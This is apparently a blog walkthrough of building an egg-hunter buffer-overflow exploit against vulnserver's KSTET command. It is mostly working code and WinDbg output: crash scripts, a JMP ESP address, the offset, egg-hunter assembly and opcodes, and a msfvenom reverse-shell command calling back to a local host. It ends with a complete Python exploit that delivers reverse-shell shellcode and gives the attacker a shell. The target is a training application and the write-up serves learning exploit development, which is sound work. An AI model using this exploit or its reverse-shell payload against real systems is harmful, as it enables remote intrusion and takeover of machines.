There are some situation when our shellcode does not fit in small memory space. In this case we might be able to store our payload into a bigger memory address. But how we find the address? It is EGG which find the shellcode location by searching specific string(Tag) and start executing the code right after the tag. I will
Vulnerable application: https://github.com/stephenbradshaw/vulnserver
Crash
POC:
import socket
vulCommand = b"KSTET \r\n"
buffer = b"A"*1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((vulCommand+buffer))
s.close()
Attach vulnserver in windbg and send the 1000 A
python3 egg.py
As a result the application crash:
0:003> g
(1e9c.2188): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00bdf978 ebx=00000110 ecx=007410b0 edx=00008ee6 esi=00401848 edi=00401848
eip=41414141 esp=00bdf9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ??
0:001> dd esp
00bdf9c8 41414141 41414141 41414141 41414141
00bdf9d8 41414141 45534a2e 029e9118 00008ee6
00bdf9e8 0000000a b60000b6 00740e00 0000000f
00bdf9f8 00000048 00000019 00000000 48000048
00bdfa08 008e4b20 00000050 00000048 00741040
00bdfa18 008e4510 008e0000 00000002 00000001
00bdfa28 01000119 0000000f 008e5cf8 008e0000
00bdfa38 0000000f 008e5cf8 008e5d00 00000007
It does not hold all 1000 A. hmmm.
Find JMP ESP
As we control EIP we need a jmp esp instruction to land in esp where we will put our egg code to find the tag. JMP ESP hex code is FFE4
Get application based dll’s start and end address to find FFE4
0:001> lmD
start end module name
00400000 00407000 vulnserver (deferred)
62500000 62508000 essfunc (deferred)
74420000 74472000 mswsock (pdb symbols) C:\ProgramData\Dbg\sym\wmswsock.pdb\D557D9A49DED51BC076065C002AD1CF31\wmswsock.pdb
75320000 75534000 KERNELBASE (deferred)
76c80000 76d3f000 msvcrt (deferred)
76d40000 76e30000 KERNEL32 (pdb symbols) C:\ProgramData\Dbg\sym\wkernel32.pdb\9C8170B9D14765D62322038024B7973A1\wkernel32.pdb
76f10000 76f73000 WS2_32 (deferred)
772e0000 7739f000 RPCRT4 (deferred)
773b0000 77553000 ntdll (pdb symbols) C:\ProgramData\Dbg\sym\wntdll.pdb\B6EB6DFF017F36A18E8034D67B4DA9941\wntdll.pdb
So the start address 62500000
and end address 62508000
For jmp esp
opcode is ffe4
. Let’s see in action
0:001> s -b 62500000 62508000 0xff 0xe4
625011af ff e4 ff e0 58 58 c3 5d-c3 55 89 e5 ff e4 ff e1 ....XX.].U......
625011bb ff e4 ff e1 5b 5b c3 5d-c3 55 89 e5 ff e4 ff e3 ....[[.].U......
625011c7 ff e4 ff e3 5d 5d c3 5d-c3 55 89 e5 ff e4 ff e7 ....]].].U......
625011d3 ff e4 ff e7 5b 5b c3 5d-c3 55 89 e5 ff e4 ff e2 ....[[.].U......
625011df ff e4 ff e2 59 5a c3 5d-c3 55 89 e5 ff e4 ff e6 ....YZ.].U......
625011eb ff e4 ff e6 59 58 c3 5d-c3 55 89 e5 ff e4 ff e5 ....YX.].U......
625011f7 ff e4 ff e5 58 5a c3 5d-c3 55 89 e5 ff e4 ff e4 ....XZ.].U......
62501203 ff e4 ff e4 ff 64 24 f4-59 59 c3 5d c3 55 89 e5 .....d$.YY.].U..
62501205 ff e4 ff 64 24 f4 59 59-c3 5d c3 55 89 e5 81 ec ...d$.YY.].U....
Found severals but We will use 625011af
.
Pattern Offset
To save time, we found the jmp esp instruction. But we need to find the exact offset. Okay, Let’s do it.
msf-pattern_create -l 1000
In exploit script replace A with the pattern and send again. When it crashes take the eip value and
└─$ msf-pattern_offset -q 33634132
[*] Exact match at offset 68
Okay, only 68 bytes to control EIP. Let’s see if it works. To verify i will set a breakpoint(Restart vulnserver).
0:003> bp 625011af
0:003> g
Breakpoint 0 hit
eax=0094f978 ebx=00000100 ecx=00cc10b0 edx=0000eb75 esi=00401848 edi=00401848
eip=625011af esp=0094f9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4 jmp esp {0094f9c8}
The EGG Hunting
VulnServer has several commands to use. Let’s see if we have enough space. Modified exploit script:
import socket
vulCommand = b"KSTET \r\n"
buffer = b"A"*68
eip = b"\xaf\x11\x50\x62"
shellcode = b"w00tw00t"+b"C"*(1000-len(buffer))
buf = buffer+eip+shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((vulCommand+buf))
s.close()
Let’s see if it is possible to find the tag:
0:003> s -a 0x0 L?80000000 w00tw00t
00681090 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
0:003> dc 00681090
00681090 74303077 74303077 43434343 43434343 w00tw00tCCCCCCCC
006810a0 43434343 45534a2e df54766d 0000504b CCCC.JSEmvT.KP..
006810b0 006849f8 00680e00 434f5250 4f535345 .Ih...h.PROCESSO
006810c0 52415f52 54494843 55544345 783d4552 R_ARCHITECTURE=x
006810d0 50003638 45434f52 524f5353 4352415f 86.PROCESSOR_ARC
006810e0 45544948 33343657 4d413d32 00343644 HITEW6432=AMD64.
006810f0 434f5250 4f535345 44495f52 49544e45 PROCESSOR_IDENTI
00681100 52454946 746e493d 34366c65 6d614620 FIER=Intel64 Fam
Yes, the tag is there but Only few bytes of CCCC
is there! So we need to use another command to send our malicious bytes:
import socket
pre = b"KSTET \r\n"
buffer = b"A"*68
eip = b"\xaf\x11\x50\x62" #625011af
shellcode = b"w00tw00t"+b"C"*(1000-len(buffer))
buf = buffer+eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((b"GMON "+shellcode))
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.20',9999))
s.send((pre+buf))
s.close()
As a result we see w00t
and 100s
of CCCC
is stored in another address of the memory:
0:004> s -a 0x0 L?80000000 w00tw00t #Search everywhere
007035ed 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
0:004> dc 007035ed
007035ed 74303077 74303077 43434343 43434343 w00tw00tCCCCCCCC
007035fd 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070360d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070361d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070362d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070363d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070364d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0070365d 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
Now we just need EGG hunter to search the tag for us and land there to execute our shellcode. Here is the egg asm code:
or dx, 0x0fff 0x66 0x81 0xca 0xff 0x0f
loop_inc_one:
inc edx 0x42
push edx 0x52
xor eax, eax 0x31 0xc0
add ax, 0x1C8 0x66 0x05 0xc8 0x01
int 0x2e 0xcd 0x2e
cmp al, 05 0x3c 0x05
pop edx 0x5a
loop_check_valid:
je loop_inc_page 0x74 0xec
is_egg:
mov eax, 0x74303077 0xb8 0x77 0x30 0x30 0x74
mov edi, edx 0x89 0xd7
scasd 0xaf
jnz loop_inc_one 0x75 0xe7
first_half_found:
scasd 0xaf
jnz loop_inc_one 0x75 0xe4
matched_both_halves:
jmp edi 0xff 0xe7
EGG hunter opcodes will be look like this
\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7
Code Execution
Generate Shellcode
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=1337 -b '\x00\x0a\x0d' -f python
Updated exploit script(Each line is explained by commenting):
import socket
byte_size = 68
#Search w00tw00t string
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
#Shellcode
buf = b""
buf += b"\xbb\x2d\xd3\xd6\xa8\xda\xd2\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x31\x5f\x12\x83\xc7\x04\x03\x72\xdd\x34"
buf += b"\x5d\x70\x09\x3a\x9e\x88\xca\x5b\x16\x6d\xfb\x5b\x4c"
buf += b"\xe6\xac\x6b\x06\xaa\x40\x07\x4a\x5e\xd2\x65\x43\x51"
buf += b"\x53\xc3\xb5\x5c\x64\x78\x85\xff\xe6\x83\xda\xdf\xd7"
buf += b"\x4b\x2f\x1e\x1f\xb1\xc2\x72\xc8\xbd\x71\x62\x7d\x8b"
buf += b"\x49\x09\xcd\x1d\xca\xee\x86\x1c\xfb\xa1\x9d\x46\xdb"
buf += b"\x40\x71\xf3\x52\x5a\x96\x3e\x2c\xd1\x6c\xb4\xaf\x33"
buf += b"\xbd\x35\x03\x7a\x71\xc4\x5d\xbb\xb6\x37\x28\xb5\xc4"
buf += b"\xca\x2b\x02\xb6\x10\xb9\x90\x10\xd2\x19\x7c\xa0\x37"
buf += b"\xff\xf7\xae\xfc\x8b\x5f\xb3\x03\x5f\xd4\xcf\x88\x5e"
buf += b"\x3a\x46\xca\x44\x9e\x02\x88\xe5\x87\xee\x7f\x19\xd7"
buf += b"\x50\xdf\xbf\x9c\x7d\x34\xb2\xff\xe9\xf9\xff\xff\xe9"
buf += b"\x95\x88\x8c\xdb\x3a\x23\x1a\x50\xb2\xed\xdd\x97\xe9"
buf += b"\x4a\x71\x66\x12\xab\x58\xad\x46\xfb\xf2\x04\xe7\x90"
buf += b"\x02\xa8\x32\x36\x52\x06\xed\xf7\x02\xe6\x5d\x90\x48"
buf += b"\xe9\x82\x80\x73\x23\xab\x2b\x8e\xa4\x14\x03\x91\x25"
buf += b"\xfd\x56\x91\x40\xc4\xdf\x77\x20\x26\xb6\x20\xdd\xdf"
buf += b"\x93\xba\x7c\x1f\x0e\xc7\xbf\xab\xbd\x38\x71\x5c\xcb"
buf += b"\x2a\xe6\xac\x86\x10\xa1\xb3\x3c\x3c\x2d\x21\xdb\xbc"
buf += b"\x38\x5a\x74\xeb\x6d\xac\x8d\x79\x80\x97\x27\x9f\x59"
buf += b"\x41\x0f\x1b\x86\xb2\x8e\xa2\x4b\x8e\xb4\xb4\x95\x0f"
buf += b"\xf1\xe0\x49\x46\xaf\x5e\x2c\x30\x01\x08\xe6\xef\xcb"
buf += b"\xdc\x7f\xdc\xcb\x9a\x7f\x09\xba\x42\x31\xe4\xfb\x7d"
buf += b"\xfe\x60\x0c\x06\xe2\x10\xf3\xdd\xa6\x21\xbe\x7f\x8e"
buf += b"\xa9\x67\xea\x92\xb7\x97\xc1\xd1\xc1\x1b\xe3\xa9\x35"
buf += b"\x03\x86\xac\x72\x83\x7b\xdd\xeb\x66\x7b\x72\x0b\xa3"
## all are nops instead of "A".
buffer = (b"\x90"*30)
## Egg hunter is also part our buffer. Later, We will do a short jump here
buffer += egghunter
## Rest of the buffer for successful overflow(in total it is 68)
buffer += b"\x90"*(68-len(egghunter)-30)
###625011af, this is the jmp esp address
eip = b"\xaf\x11\x50\x62"
###I am prepending the w00tw00t before shellcode start. egg code will search this string,come here and execute our shellcode
shellcode = b"w00tw00t"+buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.21',9990))
### First we send our shellcode without crashing the application
s.send((b"GDOG "+shellcode))
s.close()
vulCommand = b"KSTET \r\n" ### Second Command
#Okay, Jump back to 60 bytes where the egg code exist.
buff = buffer+eip+b"\xeb\xc2"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.21',9990))
s.send((vulCommand+buff+b"\x90"*200))
print(s.recv(1024))
s.close()
Let’s send the shellcode and debug again
Set break point at jmp esp
. We see it jumps to 00a8f9c8
which have another short jump to the address 00a8f998
. But,What is in there?
We set another break point at 00a8f998
. And Yes, It is our egg hunter:
So it is working fine. After letting windbg to continue nc will have a shell:
There are lots of things to improve. If anyone have any advice, don’t hesitate to mail me!